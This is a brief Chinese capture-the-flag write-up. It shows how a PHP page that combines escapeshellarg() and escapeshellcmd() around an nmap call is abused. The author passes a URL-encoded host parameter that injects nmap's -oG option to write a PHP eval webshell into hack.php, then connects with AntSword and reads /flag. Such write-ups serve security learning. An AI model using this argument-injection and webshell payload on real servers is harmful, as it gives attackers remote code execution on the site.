打开容器
代码审计发现escapeshellarg escapeshellcmd 两个函数具体不是很懂但是大概了解的是这两个函数会产生一个漏洞具体可看PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)这篇文章https://paper.seebug.org/164/
然后试着写入一句话木马传参http://ab2ba401-3cd1-40c1-9022-cb5e61304c94.challenge.qsnctf.com:8081/?host=%27%20%3C?php%20@eval($_POST[%22hack%22]);?%3E%20-oG%20hack.php%20%27%20?host=\%27%20%3C?php%20@eval($_POST[%22hack%22]);?%3E%20-oG%20hack.php%20\%27%20//escapeshellarg()%E6%89%A7%E8%A1%8C%20?host=%27%27\\%27%27%20\%3C\?php%20\@eval\(\$_POST\[%22hack%22\]\);\?\%3E%20-oG%20hack.php%20%27%27\\%27%27 ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
写入之后会回显地址
然后进入链接
发现传输成功然后用蚁剑连接
打开虚拟终端
cat /flag
得到flag
参考文章https://www.cnblogs.com/oldliutou/p/15785396.html